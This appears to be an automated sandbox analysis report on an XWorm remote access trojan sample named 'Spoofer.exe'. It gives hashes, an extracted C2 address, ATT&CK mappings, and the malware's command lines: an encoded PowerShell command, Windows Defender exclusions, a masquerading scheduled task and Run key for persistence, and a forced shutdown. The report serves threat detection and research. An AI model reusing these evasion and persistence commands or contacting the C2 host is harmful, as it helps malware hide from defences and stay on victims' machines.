xworm | 4414027d7369fa5b62c6cff9836dc792389c085defc5cba782793159e81036b1

Reason

Machine shutdown

General

Target

Spoofer.exe
Size

90KB
MD5

cb8398c640f85445d6e14a2e325eb826
SHA1

2e888003ab1bda0e17297361901be57fbc746e4e
SHA256

4414027d7369fa5b62c6cff9836dc792389c085defc5cba782793159e81036b1
SHA512

268d3bace276b09e15f089e5e19b0181c3060c2965f1d24a2355123bfff8d0f274051c24132040002a0abf727f259756fecebc858050eeaa5445525a7d9d4833
SSDEEP

1536:5jx25uS8KkpHTe9yivqHLrZ+UGpCr8lFo4XwCjAaBhlPrTAdxJ2MT6UaIPxnLxHY:51KuNrpH21CHLt9GMCbHlPXAhEU3xZ6z

Score

10^/10

xworm defense_evasion discovery execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

trip-thesaurus.gl.at.ply.gg:16715

Attributes

Install_directory
%AppData%
install_file
SecurityHealthSystray.exe

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000c000000023bba-4.dat	family_xworm
behavioral2/memory/4188-12-0x00000000007C0000-0x00000000007DC000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2960	powershell.exe
2160	powershell.exe
220	powershell.exe
3256	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	Woofer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	Spoofer.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SecurityHealthSystray.lnk	Woofer.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SecurityHealthSystray.lnk	Woofer.exe

Executes dropped EXE 1 IoCs

pid	Process
4188	Woofer.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealthSystray = "C:\\Users\\Admin\\AppData\\Roaming\\SecurityHealthSystray.exe"	Woofer.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Spoofer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "162"	LogonUI.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1136	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4188	Woofer.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
956	powershell.exe
956	powershell.exe
3256	powershell.exe
3256	powershell.exe
2960	powershell.exe
2960	powershell.exe
2160	powershell.exe
2160	powershell.exe
220	powershell.exe
220	powershell.exe
4188	Woofer.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	4188	Woofer.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeDebugPrivilege	3256	powershell.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	220	powershell.exe
Token: SeDebugPrivilege	4188	Woofer.exe
Token: SeShutdownPrivilege	4620	shutdown.exe
Token: SeRemoteShutdownPrivilege	4620	shutdown.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4188	Woofer.exe
4748	LogonUI.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2784 wrote to memory of 956	2784	Spoofer.exe	83
PID 2784 wrote to memory of 956	2784	Spoofer.exe	83
PID 2784 wrote to memory of 956	2784	Spoofer.exe	83
PID 2784 wrote to memory of 4188	2784	Spoofer.exe	85
PID 2784 wrote to memory of 4188	2784	Spoofer.exe	85
PID 4188 wrote to memory of 3256	4188	Woofer.exe	87
PID 4188 wrote to memory of 3256	4188	Woofer.exe	87
PID 4188 wrote to memory of 2960	4188	Woofer.exe	89
PID 4188 wrote to memory of 2960	4188	Woofer.exe	89
PID 4188 wrote to memory of 2160	4188	Woofer.exe	91
PID 4188 wrote to memory of 2160	4188	Woofer.exe	91
PID 4188 wrote to memory of 220	4188	Woofer.exe	93
PID 4188 wrote to memory of 220	4188	Woofer.exe	93
PID 4188 wrote to memory of 1136	4188	Woofer.exe	95
PID 4188 wrote to memory of 1136	4188	Woofer.exe	95
PID 4188 wrote to memory of 4620	4188	Woofer.exe	111
PID 4188 wrote to memory of 4620	4188	Woofer.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Spoofer.exe
"C:\Users\Admin\AppData\Local\Temp\Spoofer.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAYgBhACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAawBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAdgB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGUAdQBnACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:956
- C:\Users\Admin\AppData\Roaming\Woofer.exe
  "C:\Users\Admin\AppData\Roaming\Woofer.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4188
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Woofer.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3256
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Woofer.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\SecurityHealthSystray.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SecurityHealthSystray.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:220
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "SecurityHealthSystray" /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthSystray.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1136
- - C:\Windows\SYSTEM32\shutdown.exe
    shutdown.exe /f /s /t 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4620

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3920055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3cb17e15117c26e0c729c1dce839492f

SHA1
77d73ba5bf0db8ba147c86e03cba0764c882d3d3

SHA256
d1a03eecf6959ff0d5fbcae3c95fc8a32ce4dc41fa98e0a1704f2db258265791

SHA512
d56a13f7c6d0768f2cea53b1dc550c251e715e8545d9732da06962273597e02b90feb823af6d7a8dd389872daefc43b8a6f0e550dfd8084403b33f7625b88795

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e60eb305a7b2d9907488068b7065abd3

SHA1
1643dd7f915ac50c75bc01c53d68c5dafb9ce28d

SHA256
ad07460e061642c0dd4e7dfa7b821aacce873e290389e72f708e9f3504f9d135

SHA512
95c45afec6fa4e0b2a21edd10a6b2dc30568810c67bc9bc34d98ab111c48261f377a370583adb27e08616b0108026c119493b1b093b52ce931117e646b46cb7b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m13cdbv1.45h.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Woofer.exe

Filesize
84KB

MD5
401884996ecf50f3c44e4bc55e228b3c

SHA1
8eec44a33a180a8ea816f1d07d40c396dfa243d0

SHA256
602eb973f30d7c9533eb827f3731b057e17271bcc7617c1526c9909b71baa683

SHA512
ea8b57b10ad3c569e2456c0cfedaada977db6f8dd768e15800e3af535b68299e66e3f77df613ee3a30a8bcd68a8deff315f5531ac6a40135de0a0126a28e6d08

Download Submit
memory/956-45-0x0000000074660000-0x0000000074E10000-memory.dmp

Filesize
7.7MB

Download
memory/956-50-0x0000000007360000-0x000000000737A000-memory.dmp

Filesize
104KB

Download
memory/956-18-0x0000000005950000-0x00000000059B6000-memory.dmp

Filesize
408KB

Download
memory/956-19-0x00000000059C0000-0x0000000005A26000-memory.dmp

Filesize
408KB

Download
memory/956-16-0x0000000074660000-0x0000000074E10000-memory.dmp

Filesize
7.7MB

Download
memory/956-29-0x0000000005A30000-0x0000000005D84000-memory.dmp

Filesize
3.3MB

Download
memory/956-30-0x0000000074660000-0x0000000074E10000-memory.dmp

Filesize
7.7MB

Download
memory/956-32-0x0000000006060000-0x00000000060AC000-memory.dmp

Filesize
304KB

Download
memory/956-31-0x0000000006030000-0x000000000604E000-memory.dmp

Filesize
120KB

Download
memory/956-34-0x0000000070480000-0x00000000704CC000-memory.dmp

Filesize
304KB

Download
memory/956-33-0x0000000006600000-0x0000000006632000-memory.dmp

Filesize
200KB

Download
memory/956-44-0x0000000006640000-0x000000000665E000-memory.dmp

Filesize
120KB

Download
memory/956-15-0x00000000052B0000-0x00000000058D8000-memory.dmp

Filesize
6.2MB

Download
memory/956-46-0x0000000007220000-0x00000000072C3000-memory.dmp

Filesize
652KB

Download
memory/956-47-0x0000000074660000-0x0000000074E10000-memory.dmp

Filesize
7.7MB

Download
memory/956-48-0x0000000074660000-0x0000000074E10000-memory.dmp

Filesize
7.7MB

Download
memory/956-49-0x00000000079A0000-0x000000000801A000-memory.dmp

Filesize
6.5MB

Download
memory/956-17-0x0000000005080000-0x00000000050A2000-memory.dmp

Filesize
136KB

Download
memory/956-13-0x000000007466E000-0x000000007466F000-memory.dmp

Filesize
4KB

Download
memory/956-51-0x00000000073D0000-0x00000000073DA000-memory.dmp

Filesize
40KB

Download
memory/956-53-0x00000000075F0000-0x0000000007686000-memory.dmp

Filesize
600KB

Download
memory/956-54-0x0000000007560000-0x0000000007571000-memory.dmp

Filesize
68KB

Download
memory/956-55-0x00000000075A0000-0x00000000075AE000-memory.dmp

Filesize
56KB

Download
memory/956-56-0x00000000075B0000-0x00000000075C4000-memory.dmp

Filesize
80KB

Download
memory/956-57-0x0000000007690000-0x00000000076AA000-memory.dmp

Filesize
104KB

Download
memory/956-58-0x00000000075E0000-0x00000000075E8000-memory.dmp

Filesize
32KB

Download
memory/956-14-0x0000000002A50000-0x0000000002A86000-memory.dmp

Filesize
216KB

Download
memory/956-71-0x0000000074660000-0x0000000074E10000-memory.dmp

Filesize
7.7MB

Download
memory/3256-64-0x00000191D2120000-0x00000191D2142000-memory.dmp

Filesize
136KB

Download
memory/4188-52-0x000000001B430000-0x000000001B440000-memory.dmp

Filesize
64KB

Download
memory/4188-12-0x00000000007C0000-0x00000000007DC000-memory.dmp

Filesize
112KB

Download
memory/4188-11-0x00007FFC50C43000-0x00007FFC50C45000-memory.dmp

Filesize
8KB

Download
memory/4188-113-0x000000001B430000-0x000000001B440000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads